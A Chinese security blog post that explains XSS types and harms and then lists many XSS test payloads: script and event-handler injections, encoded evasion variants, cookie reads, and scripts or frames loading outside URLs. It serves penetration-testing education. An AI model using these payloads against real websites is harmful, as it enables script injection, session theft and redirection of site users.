• 欢迎访问本站网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

xss跨站脚本攻击定义及常用测试语句

网络安全 admin 6个月前 (10-18) 161次浏览 已收录 0个评论 扫描二维码

XSS跨站脚本攻击定义:

  • 跨站脚本攻击(Cross Site Scripting),为了不和样式表(CSS,Cascading Style Sheets)的缩写混淆才将跨站攻击缩写为XSS。
  • 恶意攻击者往web页面里插入Script代码,当用户浏览该页面的时候,嵌入其中web里面的scritp代码会被执行,从而达到恶意攻击的目的。

XSS攻击的危害:

  • 获取用户cookie;
  • 获取用户当前页面内容;
  • 弹出窗口;
  • 执行JS代码;
  • 弹出与用户交互窗口;
  • 获取剪贴板(仅限IE);
  • 获取内部IP(仅支持Mozilla* + JVM)
  • 获取用户浏览历史;
  • DDoS;
  • 耗尽用户计算机CPU资源。

 

  • 读取,篡改,添加,删除敏感数据;
  • 网站挂马;
  • 非法转账;
  • 控制受害者机器向其他网站发起攻击(不局限于此)

常见三种攻击方式:

  • 反射型XSS:只是简单地把用户输入的数据反射给浏览器,攻击者需要诱导用户点击链接,也叫非持久性XSS(Non-persistent XSS)。
  • 存储型XSS:把用户输入的数据“存储”在服务器端,这种XSS具有很强的稳定性;比较常见的一个场景是攻击者写下一篇恶意Javascript代码的文章,所有访问这篇文章的用户就会被执行恶意代码保存到服务器端,存储型XSS也叫做持久性XSS。
  • DOM based XSS:从效果上来说也是一种反射型XSS,通过修改页面的DOM节点形成XSS,

常见的编码转换
常用的xss测试语句
<script>alert(‘XSS’)</script>
<sCRiPt>alert(‘XSS’)</ScRIpT>
<0x736372697074>alert(‘XSS’)</0x736372697074>
<char(115,99,114,105,112,116)>alert(‘XSS’)</char(115,99,114,105,112,116)>
<0x736372697074>alert(String.fromCharCode(88, 83, 83))</0x736372697074>
<char(115,99,114,105,112,116)>alert(String.fromCharCode(88, 83, 83))</char(115,99,114,105,112,116)>
<script>alert(String.fromCharCode(88, 83, 83))</script>
“><script>alert(‘XSS’)</script>
“><sCRiPt>alert(‘XSS’)</ScRIpT>
“><0x736372697074>alert(‘XSS’)</0x736372697074>
“><char(115,99,114,105,112,116)>alert(‘XSS’)</char(115,99,114,105,112,116)>
“><0x736372697074>alert(String.fromCharCode(88, 83, 83))</0x736372697074>
“><char(115,99,114,105,112,116)>alert(String.fromCharCode(88, 83, 83))</char(115,99,114,105,112,116)>
“><script>alert(String.fromCharCode(88, 83, 83))</script>
%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%58%53%53%27%29%3C%2F%73%63%72%69%70%74%3E
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
Ij48c2NyaXB0PmFsZXJ0KCdYU1MnKTwvc2NyaXB0Pg==
<script>var myVar = XSS; alert(myVar)</script>
‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88, 83, 83, 32, 98, 121, 32, 72, 82))//”;alert(String.fromCharCode(88, 83, 83, 32, 98, 121, 32, 72, 82))//\”;alert(String.fromCharCode(88, 83, 83, 32, 98, 121, 32, 72, 82))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88, 83, 83, 32, 98, 121, 32, 72, 82))</SCRIPT>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
\”;alert(‘XSS’);//
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
<img src=x onerror=alert(XSS);>
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(“XSS”)>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<onmouseover=”javascript:alert(‘XSS’)”>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
<BASE HREF=”javascript:alert(‘XSS’);//”>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=javascript:alert(‘XSS’)>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”background-image:\0075\0072\006C\0028’\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029’\0029″>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<script>alert(document.cookie)</script>
%3Cscript%3alert(document.cookie);%3C%2Fscript%3
<script>document.location=’http://google.com&#8217;;</script>
<script>document.location=’http://google.com&#8217;; ‘,5000</script>
<SCRIPT SRC=http://google.com></SCRIPT>
<SCRIPT/XSS SRC=”http://google.com”></SCRIPT&gt;
<body>
<meta http-equiv=”accion” content=”10″; url=”http://google.com&#8221; />
<frameset rows=”100%”><frame noresize=”noresize” frameborder =”0″ title=”XSS Found by HR” src=”http://google.com”></frame></frameset&gt;
<script>window.open( “http://www.google.com/&#8221; )</script>

声明:
切勿使用在本网站学习的方法攻击其他计算机,保护网络安全,人人有责,做一个维护网络安全的人。
该网站编写此类文章的目标是为了让渗透测试爱好者在学习过程中更好的掌握技巧和方法同时也让广大网民了解黑客是如何对互联网进行攻击的从而更好的保护网络财产安全,如果使用在本站学习的方法和技巧攻击其他计算机的造成的后果自负,与本站无关,学技术不是为了搞破坏,而是为了更好的去保护我们祖国的网络安全!


本站的文章和资源来自互联网或者站长的原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:xss跨站脚本攻击定义及常用测试语句
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址